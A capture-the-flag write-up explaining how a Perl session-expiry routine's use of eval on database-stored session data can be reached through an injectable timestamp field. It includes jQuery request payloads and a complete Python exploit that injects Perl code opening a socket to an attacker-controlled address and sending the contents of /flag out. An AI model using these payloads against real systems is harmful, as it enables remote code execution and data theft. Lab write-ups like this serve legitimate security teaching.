# Introduction

The Interative Sessions is a Perl, MySQL and Apache2 based challenge.

The system consists of a MySQL database backend that hosts two tables under the `interactivesessions` DB instance.

Perl code that is being run by Apache2 and displays two main pages, a login page and a user list.

# Solution

When you connect for the first time to the web interface you are shown a login screen, reviewing the source code of the page shows no indication or hints of what to do next.

A simple login bruteforce of just guessing with the credentials of `admin` and `password` will lead you to the user list page. Putting the wrong username / password would return no error or indication of a "hint", same for trying to play around with the `Cookie` value or injection SQL characters into the login page.

Trying to change the `action` value to an unexpected value will return a blank page as its not handled by the server, there is no vulnerability here.

After you have logged into the interface and if you inspect the source code you will be presented with something similar to:

```
<!-- $VAR1 = [
          {
            'username' => 'admin',
            'id' => 1,
            'timestamp' => 1626844592
          },
          {
            'id' => 2,
            'timestamp' => 1626844592,
            'username' => 'user'
          }
        ];
 -->
```

This is a hint that this page is interesting and should be looked into, and that the values shown in HTML are rendered from the SQL backend.

Clicking on the `disconnect` button, will return a page that redirects you via Javascript to the '/' page, if you examine the source code of this page you will note that it has some hidden HTML:

```
<html>
  <head>
    <title>Disconnect</title>
  </head>
  <body>
<!--
$D = {
  '_SESSION_ETIME' => 600,
  'loggedIn' => '1',
  '_SESSION_CTIME' => 1626847803,
  '_SESSION_ATIME' => 1626844592,
  '_SESSION_ID' => '34254cdea89f3eaf5ce0ff19369d4689',
  '_SESSION_REMOTE_ADDR' => '172.17.0.1',
  'type' => 1,
  'id' => 1};;
$D
Last access time: 1626844592. Expiration time: 600. Time elapsed: 3706. Expired?: 1.
Expiring db id: 34254cdea89f3eaf5ce0ff19369d4689.
-->
```

The escaped content if you look it up will give you hints to the `CGI::Session::ExpireSessions.pm` file: https://metacpan.org/dist/CGI-Session-ExpireSessions/source/lib/CGI/Session/ExpireSessions.pm#L187

Looking at the change log you will note a Kudos to me :):

```
  - Adopt patch to sub expire_db_sessions() from Noam Rathaus. With thanx!
```

This shoudl give hint to the relevant code change, as well as the vulnerabilty that lurks in the `CGI::Session::ExpireSessions.pm` file, specifically that it uses `eval{}`, to parse the content found in the SQL server in certain scenarios.

If you review the version before the latest you will note that it uses:

```
eval $untainted_data;
```

And that `$untainted_data` arrives directly from:

```
($untainted_data) = $$data{'a_session'} =~ /(.*)/;
```

You might ask yourself where does `a_session` come from?

Well it arrives from the table that stores the session of users that logged on (or just interacted with the server).

Or more clearly it comes from this:

```
CREATE TABLE sessions (
  id CHAR(32) NOT NULL PRIMARY KEY,
  a_session TEXT NOT NULL
);
```

Which is where the Perl code reads and stores information to.

Therefore if we can find: 1. A way to change the `a_session` value (SQL injection?) 2. Trigger an expiring of the session, we can cause the `eval` to get triggered on the `$untainted_data` value

So lets look at the User List page, click on the disconnect button seems to trigger, some sort of query - when done on a valid ID it returns expected content like:

```
<!--
$D = {
  '_SESSION_ETIME' => 600,
  'loggedIn' => '1',
  '_SESSION_CTIME' => 1626847803,
  '_SESSION_ATIME' => 1626844592,
  '_SESSION_ID' => '34254cdea89f3eaf5ce0ff19369d4689',
  '_SESSION_REMOTE_ADDR' => '172.17.0.1',
  'type' => 1,
  'id' => 1};;
$D
Last access time: 1626844592. Expiration time: 600. Time elapsed: 3706. Expired?: 1.
Expiring db id: 34254cdea89f3eaf5ce0ff19369d4689.
-->
```

When done on a non existing `id` it returns:

```
<!--

Last access time: 1626848830. Expiration time: 600. Time elapsed: 0. Expired?: 0.
No db ids are due to expire.
-->
```

So at the very least we need to provide it with a valid `id`, very "strangely" it sends a `timestamp` value with the request. Lets first import jquery, so we can more easily get things rolling, you can obviously send the request using Burp, or any other method you desire.

```
var jq = document.createElement('script');
jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js";
document.getElementsByTagName('head')[0].appendChild(jq);
// ... give time for script to load, then type (or see below for non wait option)
jQuery.noConflict();
```

What would happen if we would have sent this:

```
jQuery.ajax({
  method: 'post',
  url: '/',
  data: {
    'action': 'disconnect',
    'id': 1,
    'timestamp': "1626845434'"
  }
}).then(function(response) {
  console.log(response)
});
```

The response would have shown as:

```
<!--
$D = {
  '_SESSION_ETIME' => 600,
  'type' => 1,
  '_SESSION_REMOTE_ADDR' => '172.17.0.1',
  'loggedIn' => '1',
  'id' => 1,
  '_SESSION_ATIME' => 1626845434',
  '_SESSION_CTIME' => 1626848307,
  '_SESSION_ID' => '39485b1d88396d42dd31a045f21a6322'
};;
$D
No db ids are due to expire.
-->
```

Something happened, but what?

Look closely at the `_SESSION_ATIME` value: `1626845434'`

Our `'` got introduced into the DB, so we have an injection, but how can we exploit it, this is where it gets a bit tricky, while Perl does evaluate the value the value resides inside a structure `$D`, and therefore I need to take care of this structure in order for the Perl to properly evaluate it as well as execute it otherwise I will get errors such as this on in the backend:

```
String found where operator expected at (eval 16) line 1, near "1626845434','"
        (Missing operator before ','?)
Bareword found where operator expected at (eval 16) line 1, near "','_SESSION_CTIME"
        (Missing operator before _SESSION_CTIME?)
```

Perl is pretty easy going with embedding code into structures - as these are commonly used when you want to provide a structure and a way for sorting it (for example), therefore if we put this: `1600000000, 'c' => eval("sleep(5);")`

As our value:

```
jQuery.ajax({
  method: 'post',
  url: '/',
  data: {
    'action': 'disconnect',
    'id': 1,
    'timestamp': "1600000000,
    'c' => eval(\"sleep(5);\")"
  }
}).then(function(response) {
  console.log(response)
});
```

We will notice that the response takes 5 seconds to return, this means of course that our `sleep(5)` was triggered.

Now we need some way to do more than `sleep` :)

At this point several options can come up for reading the `/flag` content, returning it into the SQL, to exfiltrating it using a Socket, personally I like the exfiltrating part a bit more :)

Here is a python based solution that sends the content out:

```
#!/usr/bin/python3

import requests;

my_ip = "10.11.12.13"
my_port = 8000
url = f'http://10.11.12.14:8080/'

s = requests.Session()

res = s.get( url=url )

res = s.post(
  url=url,
  data={
    'action':'login',
    'username':'admin',
    'password':'password'
  }
)

payload = f"""1600000000,
'c' => eval("sleep(5);
use IO::Socket;
IO::Socket::INET->new( PeerAddr => '{my_ip}',
PeerPort => {my_port})->send(\\"\\".`cat /flag`); ")
"""

res = s.post(
  url=url,
  data={
    'action': 'disconnect',
    'id': '1',
    'timestamp': payload
  }
)

print(f"res: {res.text}")
```